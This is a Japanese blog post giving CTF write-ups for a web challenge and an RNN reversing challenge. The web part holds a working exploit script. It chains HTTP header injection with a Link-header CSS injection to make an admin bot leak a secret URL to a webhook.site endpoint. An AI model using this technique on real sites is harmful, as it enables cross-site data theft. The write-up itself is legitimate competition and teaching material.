st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TSG CTF 2021 writeup

10/2 - 10/3という日程で開催された。zer0ptsで参加して1位。やったー。毎度のことながら高品質な問題ばかりで楽しかった。

このwriteupで紹介する問題のほかにもWeb問とか、Pillowのデコーダの挙動を悪用しつつSGIという謎画像フォーマットでゴルフをするMisc問のKotlin Lovers Societyとかにも取り組んでいたのだけれども、結局解けなくてくやしい。

他のメンバーが書いたwrite-up:


[Web 393] Udon (4 solves)

ででーん!うどん、動きます。

(URL)

Beginners CTF 2019のRamen、Beginners CTF 2020のSomen、そしてSECCON 2020 Online CTFのpastaに続く麺類シリーズの最新作。今回は好きなうどんについてメモを残せるサービスが提供されている。以下のようなフォームからうどんのメモを投稿できるが、<, >, ', " といった記号は実体参照に変換されてしまうためContent Injectionはできない。

f:id:st98:20211003170446p:plain

トップページからは投稿したメモの一覧を閲覧できる。ここでもメモのタイトルに含まれる特殊な記号は実体参照に変換されるし、各メモのURLについてもサービス側がランダムに生成したIDが使われるため、属性値でのContent Injectionはできない。

f:id:st98:20211003170915p:plain

各メモのページには Tell Admin About This Udon Note というボタンが用意されており、これを押すとadminがアクセスしに来てくれる。ソースコードを確認すると、adminは uid というCookieのキーにadminのユーザIDをセットした上で、Firefoxを使ってアクセスすることがわかる。

  const browser = await puppeteer.launch({
    product: "firefox",
    headless: true,
    ignoreHTTPSErrors: true,
  });
  const page = await browser.newPage();
  await page.setCookie({
    name: "uid",
    value: process.env.ADMIN_UID,
    domain: "app",
    expires: Date.now() / 1000 + 10,
  });

Webサーバ側のソースコードも確認すると、初期化処理としてadminのユーザIDでフラグをその内容としたメモを投稿していることがわかる。なんらかの方法でこのメモのURLを入手することがこの問題の目標のようだ。

   posts := []Post{}
    db.Where("uid = ?", os.Getenv("ADMIN_UID")).Find(&posts)
    if len(posts) == 0 {
        db.Create(&Post{
            UID:         os.Getenv("ADMIN_UID"),
            Title:       "flag",
            Description: os.Getenv("FLAG"),
        })
    }

怪しげな挙動を探していく。ページ下部にクリックすると /reset?k=set-cookie&v=uid%3Dblah%3B+path%3D%2F%3B+expires%3DThu%2C+01+Jan+1970+00%3A00%3A00+GMT に飛ぶ reset というリンクがある。このURLにアクセスするとCookieが削除される。

与えられたソースコードを見てみると、この機能は以下のようなミドルウェアとして実装されていることがわかる。これを使えば、どのページにおいてもGETパラメータの k をキー、v を値として、Set-Cookie に限らずひとつだけ好きなHTTPレスポンスヘッダを発行させられる。HTTPヘッダインジェクションだ。

   r.Use(func(c *gin.Context) {
        k := c.Query("k")
        v := c.Query("v")
        if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" {
            c.Header(k, v)
        }
        c.Next()
    })

まず Content-Security-Policy ヘッダで report-uri ディレクティブを使うことを考えたが、default-src 'none' ですべてのリソースの読み込みをブロックさせても、以下のように違反レポートからは有用な情報はまったく得られなかった。

{"csp-report":{"blocked-uri":"http://app:8080/favicon.ico","column-number":19,"document-uri":"http://app:8080/?k=Content-Security-Policy&v=default-src%20%27none%27%3b%20report-uri%20https://webhook.site/…","line-number":191,"original-policy":"default-src 'none'; report-uri https://webhook.site/…","referrer":"","source-file":"resource","violated-directive":"default-src"}}

ここで悩んでいたが、s1r1usさんが Link ヘッダを使うことを思いついた。このヘッダを使えば、link 要素を挿入した場合と同じ効果が得られる。つまり、Link: <style.css>; rel="stylesheet" のようなHTTPレスポンスヘッダを発行させれば好きなページで好きなCSSを読み込ませることができる。Link ヘッダはFirefoxぐらいしか対応していないが、そういえばadminはちょうどFirefoxを使っていた。

script-src 'self'; style-src 'self'; base-uri 'none' という内容のCSPヘッダが発行されているために、CSSの読み込み先は同じオリジンでなければならないが、幸いにもこのサービスでは好きなコンテンツを投稿できる。試しに {}*{background:red;} のような内容のメモを作成して、Link ヘッダを使ってトップページで読み込ませてみる。/?k=Link&v=</notes/I4zgr9doRL>%3b rel="stylesheet" のようなURLにアクセスしたところ、 以下のようにページが赤に染まった。ちゃんとメモをCSSとして読み込ませることができたようだ。

f:id:st98:20211003180048p:plain

CSSを使ってトップページに表示されているリンクのURLを抽出したい。CSS Injectionと同じ要領で、a[href$=…]{background:url(…);} のように属性セレクタを使って、a 要素の href 属性がある文字列で終わっていれば特定のURLの画像を読み込むというようなルールをたくさん作ってやれば、少しずつURLが抽出できるはずだ。雑にスクリプトを書く。

import requests

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  payload += 'a[href$=' + c + known + ']{background:url(https://webhook.site/…?' + c + known + ')}'

print(len(payload))

r = requests.post('http://34.84.69.72:8080/notes', data={
  'title': payload,
  'description': 'desc'
})
path = r.url.rsplit('/', 1)[-1]

requests.post('http://34.84.69.72:8080/tell', data={
  'path': f'/?k=Link&v=</notes/{path}>%3b rel=%22stylesheet%22'
})

これを実行すると、https://webhook.site/…?r にアクセスが来た。これで r で終わるURLへのリンクがトップページに存在することがわかる。ただ、属性セレクタの属性値は実体参照への変換を避けるために "' で囲んでいないから、もし a[href$=1]{…} のように数字から始まっていれば、仕様からわかるようにちゃんと動いてくれない。もし属性値が数字から始まりそうな場合には、以下のようにブルートフォースしてしまおう。

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  for d in '0123456789':
    payload += 'a[href$=' + c + d + known + ']{background:url(https://webhook.site/…?' + c + d + known + ')}'

このスクリプトを使って少しずつフラグのメモのURLを特定できた。/notes/ytH2ajv63r にアクセスするとフラグが得られた。

TSGCTF{uo_uo_uo_uo_uoooooooo_uo_no_gawa_love}

この問題はzer0ptsがfirst bloodだった。競技終了後に公開された作問者によるwriteupを確認したところ、属性セレクタの属性値の部分について、わざわざブルートフォースで飛ばして数字から始まらないようにしなくとも a[href$=\31] { background: red; } のようにエスケープすればよいことがわかった。なるほどなあ。

[Reversing 227] Natural Flag Processing (16 solves)

このRNNモデルが受理するフラグ文字列を探してください。

main.py という以下のような内容のPythonスクリプトと、model_final.pth というモデルが与えられている。

import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS
def sanity_check(text):
    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])

def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x

class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)
    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)

def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^"+text+"$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y

model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))
text = input("input flag:")
sanity_check(text)
if inference(model, text) > 0.5:
    print("Congrats!")
else:
    print("Wrong.")

Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            print(max(h[0]))
        return self.out(h)

この状態で inference(model, 'AAAAAAA')inference(model, 'TSGCTF{') を実行してみると、それぞれ以下のような結果になった。正解の文字でなければ結果が大きく変わるっぽい。これを使ってちょっとずつフラグを特定していこう。

f:id:st98:20211003190554p:plain

今度は Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            result = float(max(h[0]))
            if result < 0.5:
              raise Exception(i)
        return self.out(h)

このまま以下のコードを実行してみると、mRnAmRNa などそれっぽい文字列を出力し始めた。定期的に止めて人の手でそれっぽい文字列だけを残すようにしてやり、再び実行するという流れを何度も繰り返すと、最終的に mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN という文字列が得られた。

import queue

q = queue.Queue()
q.put('')

while not q.empty():
  tmp = q.get()
  l = len(tmp) + 8
  for c in FLAG_CHARS:
    try:
      inference(model, 'TSGCTF{' + tmp + c + '}')
    except Exception as e:
      if e.args[0] > l:
        print(tmp + c)
        q.put(tmp + c)
TSGCTF{mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN}